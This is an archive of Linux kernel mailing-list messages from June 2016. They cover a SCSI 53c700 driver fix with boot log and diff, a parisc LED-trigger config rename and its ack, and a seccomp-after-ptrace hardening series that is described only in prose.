> commit 64d513ac31bd02a3c9b69ef04444f36c196f9a9d
> Author: Christoph Hellwig <hch@lst.de>
> Date:   Thu Oct 8 09:28:04 2015 +0100
> 
>     scsi: use host wide tags by default
> 
> Again.  This time because it's transformation of the handling of
> SCSI_NO_TAG is wrong.  You can't replace the return sdev->current_cmnd
> original in scsi_find_tag with the NULL return in scsi_find_host_tag.
> 
> I think this changesets wins the prize for the greatest number of
> generated faults.
> 
> Does this fix 53c700.c?

Yes, the patch below fixes the boot problems for 53c700.c:

[    9.869236] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
[    9.949797] scsi0: 53c710 rev 2 
[   10.994453] scsi host0: LASI SCSI 53c700
[   13.008861] scsi 0:0:6:0: Direct-Access     QUANTUM  FIREBALL_TM3200S 300X PQ: 0 ANSI: 2
[   13.106740] scsi target0:0:6: Beginning Domain Validation
[   13.171889] scsi 0:0:6:0: tag#0 Enabling Tag Command Queuing
[   13.239996] scsi target0:0:6: asynchronous
[   13.305374] scsi target0:0:6: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
[   13.397482] scsi target0:0:6: Domain Validation skipping write tests
[   13.473831] scsi target0:0:6: Ending Domain Validation
[   13.557116] scsi 0:0:6:1: tag#0 Disabling Tag Command Queuing
[   13.637379] st: Version 20160209, fixed bufsize 32768, s/g segs 256
[   13.746803] sd 0:0:6:0: Attached scsi generic sg0 type 0

THANKS!
(please queue the patch up for 4.6-stable at least)
Helge

 
> I suppose we'd better look for other places where no tag fell through
> ...
> 
> James
> 
> ---
> 
> diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
> index d4c2856..3ddc85e 100644
> --- a/drivers/scsi/53c700.c
> +++ b/drivers/scsi/53c700.c
> @@ -1122,7 +1122,7 @@ process_script_interrupt(__u32 dsps, __u32 dsp, struct scsi_cmnd *SCp,
>  		} else {
>  			struct scsi_cmnd *SCp;
>  
> -			SCp = scsi_host_find_tag(SDp->host, SCSI_NO_TAG);
> +			SCp = SDp->current_cmnd;
>  			if(unlikely(SCp == NULL)) {
>  				sdev_printk(KERN_ERR, SDp,
>  					"no saved request for untagged cmd\n");
> @@ -1826,7 +1826,7 @@ NCR_700_queuecommand_lck(struct scsi_cmnd *SCp, void (*done)(struct scsi_cmnd *)
>  		       slot->tag, slot);
>  	} else {
>  		slot->tag = SCSI_NO_TAG;
> -		/* must populate current_cmnd for scsi_host_find_tag to work */
> +		/* save current command for reselection */
>  		SCp->device->current_cmnd = SCp;
>  	}
>  	/* sanity check: some of the commands generated by the mid-layer
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jacek Anaszewski <j.anaszewski@samsung.com>
Newsgroups: gmane.linux.ide,gmane.linux.leds,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 6/7] parisc: use the new LED disk activity trigger
Date: Mon, 13 Jun 2016 09:56:02 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <575E6712.8030403@samsung.com>
References: <20160610060021.12382-1-linz@li-pro.net>
 <20160610060021.12382-6-linz@li-pro.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465804591 15585 80.91.229.3 (13 Jun 2016 07:56:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jun 2016 07:56:31 +0000 (UTC)
Cc: Stephan Linz <linz@li-pro.net>, linux-leds@vger.kernel.org,
	linux-ide@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-ide-owner@vger.kernel.org Mon Jun 13 09:56:19 2016
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1bCMjC-0006Tf-Rs
	for lnx-linux-ide@plane.gmane.org; Mon, 13 Jun 2016 09:56:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964912AbcFMH4K (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Mon, 13 Jun 2016 03:56:10 -0400
Original-Received: from mailout4.w1.samsung.com ([210.118.77.14]:34238 "EHLO
	mailout4.w1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964793AbcFMH4I (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Mon, 13 Jun 2016 03:56:08 -0400
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout4.w1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0O8P00L21A1FY860@mailout4.w1.samsung.com>; Mon,
 13 Jun 2016 08:56:03 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-5c-575e67136a66
Original-Received: from eusync4.samsung.com ( [203.254.199.214])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id AE.F5.04866.3176E575; Mon,
 13 Jun 2016 08:56:03 +0100 (BST)
Original-Received: from [106.120.53.23] by eusync4.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTPA id <0O8P008KIA1FTG00@eusync4.samsung.com>; Mon,
 13 Jun 2016 08:56:03 +0100 (BST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130804
 Thunderbird/17.0.8
In-reply-to: <20160610060021.12382-6-linz@li-pro.net>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFrrCLMWRmVeSWpSXmKPExsVy+t/xa7rC6XHhBjcXyFjc/3Sb0eL+ulWs
	Fsd2PGKyuLxrDpvF1jfrGC0enbrAZHH19SIWB3aPDx/jPHa/TfW4sOg3q8fnTXIBLFFcNimp
	OZllqUX6dglcGd/f6hTc4am4eWs1UwPjZ64uRk4OCQETiSfXLjJD2GISF+6tZ+ti5OIQEljK
	KLHt+1F2COcZo8Se+SeBqjg4eAW0JD72OoI0sAioSmz7uJ0VxGYTMJT4+eI1E4gtKhAh8ef0
	PrA4r4CgxI/J91hAbBGBAImXr6czgsxkFpjJKLGz+z07SEJYwFNi69dXYFcICcRLHHm5jw3E
	5hQwlTjfeRBsELOAtcTKSdsYIWx5ic1r3jJPYBSYhWTHLCRls5CULWBkXsUomlqaXFCclJ5r
	pFecmFtcmpeul5yfu4kREtZfdzAuPWZ1iFGAg1GJh1djVWy4EGtiWXFl7iFGCQ5mJRHeqNS4
	cCHelMTKqtSi/Pii0pzU4kOM0hwsSuK8M3e9DxESSE8sSc1OTS1ILYLJMnFwSjUwiiYt6D6q
	EK03JbUsPZW5zkn4hrjurXnb225ZR/6e6Nktfkx48cetV//mZP7tVnkVc7rf3S1fc9Pn7I2L
	bBPu37qis21l2p7FKbxvOZUCMs89CbtjsVjtoukax8a/pyduqpqnqz9P+fA907/nj71deW3i
	/2KmP9JnTOreGb7yP7l0j9az5n/vqpVYijMSDbWYi4oTAaia/UBnAgAA
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:61855 gmane.linux.leds:5216 gmane.linux.ports.parisc:26890 gmane.linux.kernel:2242078
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/61855>

Hi all,

For consistency reasons this patch should be merged through LED tree,
but I need an ack for this. Hedge, James?

Thanks,
Jacek Anaszewski


On 06/10/2016 08:00 AM, Stephan Linz wrote:
> - platform: rename 'ide-disk' to 'disk-activity'
>
> Signed-off-by: Stephan Linz <linz@li-pro.net>
> ---
>   arch/parisc/configs/generic-32bit_defconfig | 2 +-
>   arch/parisc/configs/generic-64bit_defconfig | 2 +-
>   2 files changed, 2 insertions(+), 2 deletions(-)
>
> diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
> index 5b04d70..8688ba7 100644
> --- a/arch/parisc/configs/generic-32bit_defconfig
> +++ b/arch/parisc/configs/generic-32bit_defconfig
> @@ -214,7 +214,7 @@ CONFIG_NEW_LEDS=y
>   CONFIG_LEDS_CLASS=y
>   CONFIG_LEDS_TRIGGERS=y
>   CONFIG_LEDS_TRIGGER_TIMER=y
> -CONFIG_LEDS_TRIGGER_IDE_DISK=y
> +CONFIG_LEDS_TRIGGER_DISK=y
>   CONFIG_LEDS_TRIGGER_HEARTBEAT=y
>   CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
>   CONFIG_DMADEVICES=y
> diff --git a/arch/parisc/configs/generic-64bit_defconfig b/arch/parisc/configs/generic-64bit_defconfig
> index e945c08..7e07926 100644
> --- a/arch/parisc/configs/generic-64bit_defconfig
> +++ b/arch/parisc/configs/generic-64bit_defconfig
> @@ -231,7 +231,7 @@ CONFIG_LEDS_CLASS=y
>   CONFIG_LEDS_TRIGGERS=y
>   CONFIG_LEDS_TRIGGER_TIMER=y
>   CONFIG_LEDS_TRIGGER_ONESHOT=y
> -CONFIG_LEDS_TRIGGER_IDE_DISK=y
> +CONFIG_LEDS_TRIGGER_DISK=y
>   CONFIG_LEDS_TRIGGER_HEARTBEAT=m
>   CONFIG_LEDS_TRIGGER_BACKLIGHT=m
>   CONFIG_LEDS_TRIGGER_DEFAULT_ON=m
>


-- 
Best regards,
Jacek Anaszewski
--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Mon, 13 Jun 2016 01:09:52 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20160613080952.GB10214@infradead.org>
References: <5759C524.2030009@gmx.de>
 <1465511002.2259.19.camel@HansenPartnership.com>
 <575B2239.4020403@gmx.de>
 <1465592285.20724.173.camel@localhost.localdomain>
 <1465592473.2224.52.camel@HansenPartnership.com>
 <1465594421.2224.58.camel@HansenPartnership.com>
 <1465595032.2224.59.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1465805402 27301 80.91.229.3 (13 Jun 2016 08:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jun 2016 08:10:02 +0000 (UTC)
Cc: emilne@redhat.com, Helge Deller <deller@gmx.de>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 13 10:10:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bCMwZ-0000NW-7P
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Jun 2016 10:09:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965097AbcFMIJ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Jun 2016 04:09:56 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:35856 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964851AbcFMIJx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Jun 2016 04:09:53 -0400
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux))
	id 1bCMwS-0003eH-Ah; Mon, 13 Jun 2016 08:09:52 +0000
Content-Disposition: inline
In-Reply-To: <1465595032.2224.59.camel@HansenPartnership.com>
User-Agent: Mutt/1.5.24 (2015-08-30)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26891 gmane.linux.scsi:114296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26891>

On Fri, Jun 10, 2016 at 02:43:52PM -0700, James Bottomley wrote:
> OK, I checked: snic and fnic use SCSI_NO_TAG but they don't save
> anything in current_cmnd, so they can't rely on the original behaviour.
>  I think we'll be safe with a local change in 53c700.c

Please move the current_cmnd field in struct scsi_device into the 53c700
driver while you're at it, so that others don't accidentally rely on it.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.leds,gmane.linux.ide,gmane.linux.kernel
Subject: Re: [PATCH v4 6/7] parisc: use the new LED disk activity trigger
Date: Mon, 13 Jun 2016 15:24:42 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <575EB41A.4000306@gmx.de>
References: <20160610060021.12382-1-linz@li-pro.net>
 <20160610060021.12382-6-linz@li-pro.net> <575E6712.8030403@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465824316 4809 80.91.229.3 (13 Jun 2016 13:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jun 2016 13:25:16 +0000 (UTC)
Cc: Stephan Linz <linz@li-pro.net>,
	"linux-leds@vger.kernel.org" <linux-leds@vger.kernel.org>,
	"linux-ide@vger.kernel.org" <linux-ide@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Jacek Anaszewski <j.anaszewski@samsung.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 13 15:25:04 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bCRrO-0002Nf-Po
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Jun 2016 15:24:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965014AbcFMNY5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Jun 2016 09:24:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:62623 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964968AbcFMNY4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Jun 2016 09:24:56 -0400
Original-Received: from [192.168.20.60] ([92.203.89.85]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MgtWa-1aqV9Y0E0O-00M4WN; Mon, 13 Jun 2016 15:24:44
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <575E6712.8030403@samsung.com>
X-Provags-ID: V03:K0:4mFlkbz5AC4MclzztKrwKv2+o6drxD3U2ngCK5wLxQk7vsIhW1/
 xHBWJEvywdWu+vs1OIsADEQSQpzoypnnR5yOwDU3JQLICjtqgeTgrrY3RIW3B7ayqdCbmW7
 zy5+zdtLexxBvVSG37xBcQevGDHx6g08lkPDudrvdYw9hSFr2TogX3T4tHatBb9HZq1hAHx
 Szpo+G36LDtvL4Ex4Kr3w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:WeVA5P7TfVo=:l1aGdgmlWq8wsMBDANdt+l
 dTBBwqM8HTmOeUdj/RV9FJ0fpU+DBy5iDjRjgAesdQsxgNbLxizb2OoHduUSbScaAbt81IPDE
 yZ4pZ8PIXaD7je8S2n/Os/X/Vhxs18oh1Zz1GJ5voY8xcGBvO4GJAd800+KDz352D8Q6WMVP3
 qkrvDVcPjhF3dpDdemfu3gGOFYRZyHYIDJWUA5vtV4iq9RskeixG3737zqYfjpkGvAUmJaUmr
 PJdv26jvzCXqnOO712wkvmC6/nfwi4S9h1U+pvlU6daas0oIhkgEVHASCqx0YnhNzEH2V7bS1
 Ertb6iAgiQ0A1kioCfdPGSJ7rZIpKUaPzZ3Fv+aMIbitMXBzne5lpym4uP52aeUFrc05Hxh6W
 SCgum3e5J+AoMOAQdstX931BpfYo4wpTWSYXJzBW4ceXePdYALjwQydlbtL3wdc9L1305hk0l
 XOqgy+JSrcXVHjysA9dVO6vw03CRxeGuN/Vk4nQ69O4hCNfLihw46ZjuuvOyzlCE3rqRwgRxD
 Qmzky8rLtCDXja0rPEs3wYhHfmEayyOHYEah/pmtkPXuEM6hdMLvhi7sr6f1hZWJroYjSoInw
 EV8Pj0bSr3h37XQP2Hls+cym0N1OQr2Rjqx1n2zGA6SFvPb5OX/4Vwba0ZDUxcSM4smFIjntI
 MjSQBedImXl4jBd4+oFKpq5s+0Ljohc9S20o4aeGAEhN+tPNNy0d+o7P+6ANW9TW6XvHJ8nRu
 Mds0jrne8roPsQHo3AkGwtMz5x/2HQsSC7CMYh/uIkgsFZbg0dExnb0ixcegXzCGFw5oNrlU 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26892 gmane.linux.leds:5225 gmane.linux.ide:61860 gmane.linux.kernel:2242361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26892>

Hi Jacek,

On 13.06.2016 09:56, Jacek Anaszewski wrote:
> For consistency reasons this patch should be merged through LED tree,
> but I need an ack for this. Hedge, James?

Ok, sure.

> On 06/10/2016 08:00 AM, Stephan Linz wrote:
>> - platform: rename 'ide-disk' to 'disk-activity'
>>
>> Signed-off-by: Stephan Linz <linz@li-pro.net>

Acked-by: Helge Deller <deller@gmx.de>

Thanks for the patch!
Helge

>> ---
>>   arch/parisc/configs/generic-32bit_defconfig | 2 +-
>>   arch/parisc/configs/generic-64bit_defconfig | 2 +-
>>   2 files changed, 2 insertions(+), 2 deletions(-)
>>
>> diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
>> index 5b04d70..8688ba7 100644
>> --- a/arch/parisc/configs/generic-32bit_defconfig
>> +++ b/arch/parisc/configs/generic-32bit_defconfig
>> @@ -214,7 +214,7 @@ CONFIG_NEW_LEDS=y
>>   CONFIG_LEDS_CLASS=y
>>   CONFIG_LEDS_TRIGGERS=y
>>   CONFIG_LEDS_TRIGGER_TIMER=y
>> -CONFIG_LEDS_TRIGGER_IDE_DISK=y
>> +CONFIG_LEDS_TRIGGER_DISK=y
>>   CONFIG_LEDS_TRIGGER_HEARTBEAT=y
>>   CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
>>   CONFIG_DMADEVICES=y
>> diff --git a/arch/parisc/configs/generic-64bit_defconfig b/arch/parisc/configs/generic-64bit_defconfig
>> index e945c08..7e07926 100644
>> --- a/arch/parisc/configs/generic-64bit_defconfig
>> +++ b/arch/parisc/configs/generic-64bit_defconfig
>> @@ -231,7 +231,7 @@ CONFIG_LEDS_CLASS=y
>>   CONFIG_LEDS_TRIGGERS=y
>>   CONFIG_LEDS_TRIGGER_TIMER=y
>>   CONFIG_LEDS_TRIGGER_ONESHOT=y
>> -CONFIG_LEDS_TRIGGER_IDE_DISK=y
>> +CONFIG_LEDS_TRIGGER_DISK=y
>>   CONFIG_LEDS_TRIGGER_HEARTBEAT=m
>>   CONFIG_LEDS_TRIGGER_BACKLIGHT=m
>>   CONFIG_LEDS_TRIGGER_DEFAULT_ON=m
>>
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel,gmane.linux.kernel.lsm
Subject: Re: [PATCH 00/14] run seccomp after ptrace
Date: Mon, 13 Jun 2016 13:50:57 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <CAGXu5jJsWOdhRBauQ-_S-4ODd4m+xUbdjk1_zPXQqY7Qp-Dgdw@mail.gmail.com>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465851110 31701 80.91.229.3 (13 Jun 2016 20:51:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jun 2016 20:51:50 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>,
	linux-arch <linux-arch@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerra
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 13 22:51:41 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bCYpN-0002qS-Rc
	for glk-linux-kernel-3@plane.gmane.org; Mon, 13 Jun 2016 22:51:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1423296AbcFMUvF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 13 Jun 2016 16:51:05 -0400
Original-Received: from mail-wm0-f54.google.com ([74.125.82.54]:35254 "EHLO
	mail-wm0-f54.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1161356AbcFMUvA (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 13 Jun 2016 16:51:00 -0400
Original-Received: by mail-wm0-f54.google.com with SMTP id v199so94350339wmv.0
        for <linux-kernel@vger.kernel.org>; Mon, 13 Jun 2016 13:50:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=OhzFLSWek0VqDwYfWBTiCN8FhQYJl83o/F6+Uz3J1dM=;
        b=Ds6aiG1Iqqu1pUvBFk8QfXcEtn0bj8E7daVP9nA6jpZL8Ox+ON5QsnEuPWJSMZTaDy
         RQd7zWOQ5Fu3NBv4lMbDRBQLcOvh6wewDkV9ccAvtJmZ7WqiK5RH2qiXq9nOm1RNLZg9
         HIvmJC1yiAsDBIL+pi2sm0bG+YCQtFr4M6/gKNXVyKMqK1qn39ryrnYdRp3YMLj597E9
         vDIgRTgXKz/uhxf1O9ScjpP+ayTZZQ82qGcqSfqM8HCgJNbZ9strHRs3j5YC2FVmqgpy
         OVU6oJFjxBjFj0ALlgy/94Kd5ZjcULNmAbmNjRk3KmidCQ8YhhsfaDyBnJ8LnqDbVsvp
         kaaw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=OhzFLSWek0VqDwYfWBTiCN8FhQYJl83o/F6+Uz3J1dM=;
        b=Iw7jHJNJMgxQK3h/ktJPRMAfkpiFO52XbXw6eDwK4qkG83uV8fk3PLn7luVQFTlziR
         O7YGJLbkj3XwhBhZtteCTHHuc9j32I3LJw6/E8QDO+2GpKXX1Tgj4LFmeV1CzWqHQCJU
         /qpiTiPilAi3mYVPql4cqHPoHf0/oi4Js9++w=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=OhzFLSWek0VqDwYfWBTiCN8FhQYJl83o/F6+Uz3J1dM=;
        b=Tw3/LIhmD4cuDZJDpQv9TZY95WEYEyixRSLc/G213aQb+eTNNokLBuBMGvKx53NRLF
         jkWGjXOm5BDYczIZYvCteLs37vhAe5sRYVrb5saEAkiiaLOEd84aJj3UTEGLJkQn7oOy
         SUTlDQaBFGHiO/KEgguwBk2say9ucVTh2ZUYn0KiqbilAxDXcOF51UIKQIPF3jDq8oHO
         MijbQyqzwTVrslGRTgizAD15jkVf+1CrZizhQqma02X7eED2FbZLZox18v3zojNQXaJw
         TumxqHdCHWb4m9SKheQPBmQ0qoqRiTNaFecUKM1Wh9hV/lpCPN7SoXBSRlH/SrpI4Jwc
         aBvA==
X-Gm-Message-State: ALyK8tJMPHBAmEqpzClKME56llPJAE4LUGRbpn519ReSa90GilhMQ6JAWXZaKy9lE69xJoljDLEd4+3WY7C78FSt
X-Received: by 10.28.234.16 with SMTP id i16mr1378739wmh.36.1465851058991;
 Mon, 13 Jun 2016 13:50:58 -0700 (PDT)
Original-Received: by 10.28.29.205 with HTTP; Mon, 13 Jun 2016 13:50:57 -0700 (PDT)
In-Reply-To: <1465506124-21866-1-git-send-email-keescook@chromium.org>
X-Google-Sender-Auth: a4dStZy7XTElewOAKpe3OsiyFDA
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2242856 gmane.linux.kernel.cross-arch:32391 gmane.linux.ports.arm.kernel:506667 gmane.linux.ports.mips.general:55192 gmane.linux.ports.parisc:26893 gmane.linux.ports.ppc64.devel:128489 gmane.linux.uml.devel:15912 gmane.linux.kernel.lsm:28283
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2242856>

(Oops, forgot to send this series through the lsm list...)

On Thu, Jun 9, 2016 at 2:01 PM, Kees Cook <keescook@chromium.org> wrote:
> There has been a long-standing (and documented) issue with seccomp
> where ptrace can be used to change a syscall out from under seccomp.
> This is a problem for containers and other wider seccomp filtered
> environments where ptrace needs to remain available, as it allows
> for an escape of the seccomp filter.
>
> Since the ptrace attack surface is available for any allowed syscall,
> moving seccomp after ptrace doesn't increase the actually available
> attack surface. And this actually improves tracing since, for
> example, tracers will be notified of syscall entry before seccomp
> sends a SIGSYS, which makes debugging filters much easier.
>
> The per-architecture changes do make one (hopefully small)
> semantic change, which is that since ptrace comes first, it may
> request a syscall be skipped. Running seccomp after this doesn't
> make sense, so if ptrace wants to skip a syscall, it will bail
> out early similarly to how seccomp was. This means that skipped
> syscalls will not be fed through audit, though that likely means
> we're actually avoiding noise this way.
>
> This series first cleans up seccomp to remove the now unneeded
> two-phase entry, fixes the SECCOMP_RET_TRACE hole (same as the
> ptrace hole above), and then reorders seccomp after ptrace on
> each architecture.

Has anyone else had a chance to review this series? I'd like to get it
landed in -next as early as possible in case there are unexpected
problems...

-Kees

